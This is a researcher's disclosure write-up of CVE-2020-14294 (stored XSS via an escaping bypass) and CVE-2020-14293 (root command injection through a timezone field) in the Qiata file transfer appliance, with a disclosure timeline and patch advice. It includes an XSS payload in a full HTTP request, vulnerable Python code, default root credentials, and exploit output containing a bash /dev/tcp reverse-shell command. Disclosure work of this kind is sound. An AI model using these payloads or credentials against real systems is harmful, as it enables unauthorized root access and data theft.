[CVE-2020-14293] and [CVE-2020-14294] 2 vulnerabilities in Secure File Transfer Solution Qiata by Secudos
Qiata Secure File Transfer Appliance
Qiata FTA is a secure file transfer appliance I worked with for several years. It will let you transfer files in a secure manner. The web interface is secured via transport layer security. Every user has an own account and can issue transfers to one or more recipients. You can even send a file to someone who does not have an account yet. The recipient will then recieve a second mail with instructions to register an account.
Furthermore you can add modules like Team Transfer which will give you the possibility to collaborate with a group and exchange files with versioning feature and so on.
Finally you can invite someone to send you a file.
There are tons of features and modules you can add to the appliance.
The manufacturer describes the product as follows (Link to vendor product page):
“Qiata File Transfer Appliances (FTAs) provide the ability to easily and securely exchange files with internal or external users.”
Cross-Site Scripting Vulnerability [CVE-2020-14294]
Due to insufficient input validation of user-provided input, it is vulnerable to Cross-Site Scripting. The vendor fixed this issue releasing the new major version 2.00.00.
So let me ellaborate further on the “escaping mechanism” in place.
If you provide this string as a comment:
<img src=# onerror=alert(1) /> the “escaping-mechanism” will write this string to the comment field:
>img src=# onerror=alert(1) /<.
When later viewing the comment the image tag and the onerror action will not be triggered, as this is not valid html anymore.
Escaping the escaping
So what will happen if you start with
>img src=# onerror=alert(1) /< as a comment string? Well, you might have guessed it right. It will be turned to
<img src=# onerror=alert(1) /> and the code will be executed as soon as someone looks at the comments of the transfer.
The following screenshot will show an example of a malicious comment.
Submitting this comment will result in this request sent to the appliance.
POST /cgi-bin/transfers.fcgi?isc_dataFormat=xml HTTP/1.1 Host: 192.168.122.203 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X_CSRF_Token: b914b87e-cafc-4ee4-947a-d7139a55d59c Content-Type: text/xml Content-Length: 560 Origin: https://192.168.122.203 Connection: close Referer: https://192.168.122.203/cgi-bin/login.fcgi Cookie: FTATest=1 <request> <data> <objectId>d9545dcc-9393-41a4-91c3-553404194dc1</objectId> <objectType>TRANSFER</objectType> <subObjectId></subObjectId> <commentDate>2020-06-17</commentDate> <commenter></commenter> <commentType>TEXT</commentType> <scope>PUBLIC</scope> <comment>>img src=# onerror=alert(String.fromCharCode(80,101,114,115,105,115,116,101, 110,116,32,88,83,83,32,98,121,32,83,121,83,83,32,71,109,98,72)) /<</comment> </data> <oldValues></oldValues> <dataSource>commentsDataSource0</dataSource> <operationType>add</operationType> <componentId>commentForm0</componentId> </request>
If someone happens to view the comments of this transfer this will result in the payload getting executed like this:
DOMOS - The operating system of Qiata FTAs
The File Transfer Appliance is based upon a hardened linux operating system called DOMOS. For all I know DOMOS is a customization of CentOS. It has a few maintenance and setup tools, as well as a web interface running at TCP port 10000 bound to only the internal interface.
The default credentials to login to the web interface are admin:admin. Also DOMOS provides a ssh connection. To login to it by default you can use admin:admin, too. If you want to be root the default creds are root:secudos.
Authenticated OS Command Injection [CVE-2020-14293]
I was reviewing the operating system logged in via ssh when I discovered a script which will be executed by the web interface when altering settings.
The script is called
conf_datetime and is located at
/opt/secudos/DomosConf/scripts. The script itself is a python script.
If we take a look at the vulnerable part we can see that the function
os.system() will happily take user provided input and insert it into the statement like this:
# /etc/localtime fn = '/etc/localtime' fln = '/usr/share/zoneinfo/' + zone try: cmd = '/bin/ln -sf ' + fln + ' ' + fn os.system(cmd) except: print "Can't create zoneinfo link." return ret
So the intention of this call is that the admin can choose a timezone from the web frontend, let’s say
Europe/Berlin, and the command executed will be:
os.system('/bin/ln -sf /usr/share/zoneinfo/Europe/Berlin /etc/localtime')
The value of
zone however is under control of said “admin”. So let’s assume that after the installation of the appliance the administrator does not change the web interface password (I know this never happens 😂) and let’s also assume an attacker can access the interface from within the internal network (I mean this still could be possible, right? 😎) then how could an attacker abuse this script?
So using Burp Suite to intercept with the requests to DOMOS we can alter said zone value to our advantage:
And sure enough, when checking on that file
/tmp/hacked you can see that the command injection worked just fine.
[root@localhost tmp]# pwd /tmp [root@localhost tmp]# ls -la total 24 drwxrwxrwt. 9 root root 4096 Sep 30 11:31 . dr-xr-xr-x. 17 root root 288 Jun 18 07:38 .. -rw-r--r-- 1 root root 135 Sep 30 11:31 domosconfd.act -rw-r--r-- 1 domosconf domosconf 3 Sep 30 11:31 domosconfd.fin -rw-r--r-- 1 domosconf domosconf 3877 Sep 30 11:31 domosconfd.out drwxrwxrwt. 2 root root 6 Jun 17 09:34 .font-unix -rw-r--r-- 1 root root 96 Sep 30 11:30 fta-cc.log -rw-r--r-- 1 root root 39 Sep 30 11:30 hacked drwxrwxrwt. 2 root root 6 Jun 17 09:34 .ICE-unix drwxrwxrwt. 2 root root 6 Jun 17 09:34 .Test-unix drwxrwxrwt. 2 root root 6 Jun 17 09:34 .X11-unix drwxrwxrwt. 2 root root 6 Jun 17 09:34 .XIM-unix [root@localhost tmp]# cat hacked uid=0(root) gid=0(root) groups=0(root) [root@localhost tmp]#
As a bonus you will also have
root privileges, as the script is executed as root. So this also is a Privilege Escalation, as well.
Finally I wrote several exploits and a metasploit module to gain a reverse shell using this vulnerability. Again, I like the one written in
go the most. You can find it in the links below. This is the output of the exploit:
❯ go run syss-2020-025.go admin admin 192.168.122.1 4444 https://192.168.122.7:10000 bash -i >& /dev/tcp/192.168.122.1/4444 0>&1 [*] sending preflight request to acquire session_id [+] session_id aquired [*] sending login request to validate session. [+] login was successful [+] successfully injected payload [*] activating settings changes to trigger payload [*] Starting reverse listener at 192.168.122.1:4444 [+] Now listening on 192.168.122.1:4444 [+] [192.168.122.7:36452]: Connection has been opened. Enjoy your shell, good sir. bash: no job control in this shell [root@localhost /]# id id uid=0(root) gid=0(root) groups=0(root) [root@localhost /]#
Well, as always. Never trust the input a user provides. Sanitize it and don’t ever insert it into a system command call without sanitation. Even better, just don’t do it in general 😄.
For all the Qiata admins, just be sure to update the DOMOS version to the current one (which is greater than 5.8.0) and the Qiata FTA version to at least 2.00.00. Also always be sure to keep your software and products up to date in general.
- 2020-06-02: Vulnerability discovered
- 2020-06-17: Vulnerability reported to manufacturer
- 2020-08-12: Patch released by manufacturer
- 2020-09-28: Public disclosure of vulnerability
References and Links
- CVE Github Repo by me (This holds the weaponized exploits and the vulnerable software if you want to reproduce)
- Mitre CVE
- National Vulnearbility Database